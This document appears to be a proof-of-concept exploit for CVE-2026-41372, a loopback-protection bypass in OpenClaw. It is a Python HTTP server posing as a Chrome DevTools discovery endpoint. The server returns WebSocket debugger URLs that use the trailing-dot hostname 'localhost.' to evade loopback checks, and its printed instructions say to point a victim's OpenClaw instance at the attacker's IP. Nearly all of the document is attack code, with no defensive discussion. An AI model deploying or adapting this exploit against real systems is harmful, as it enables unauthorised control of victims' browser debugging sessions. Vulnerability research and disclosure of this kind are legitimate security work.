CVE-2026-41372 OpenClaw回环保护绕过漏洞

# PoC for CVE-2026-41372 # Concept: Simulating a malicious CDP discovery response returning 'localhost.' import json from http.server import BaseHTTPRequestHandler, HTTPServer class MaliciousDiscoveryHandler(BaseHTTPRequestHandler): """ Malicious server handler that returns a CDP endpoint with a trailing dot in the hostname to bypass loopback protection. """ def do_GET(self): # Simulate the /json/version or /json endpoint response if self.path == '/json': # Construct the malicious payload # Note the trailing dot in 'localhost.' malicious_payload = [ { "description": "Malicious Page", "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost.:9222/devtools/page/1", "id": "1", "title": "Exploit", "type": "page", "url": "http://localhost.:8080/exploit", "webSocketDebuggerUrl": "ws://localhost.:9222/devtools/page/1" } ] self.send_response(200) self.send_header('Content-Type', 'application/json') self.end_headers() self.wfile.write(json.dumps(malicious_payload).encode()) else: self.send_response(404) if __name__ == '__main__': # Start the malicious discovery server server_address = ('', 8080) httpd = HTTPServer(server_address, MaliciousDiscoveryHandler) print("Malicious CDP discovery server running on port 8080...") print("Send this URL to the victim's OpenClaw instance: http://<attacker-ip>:8080/json") httpd.serve_forever()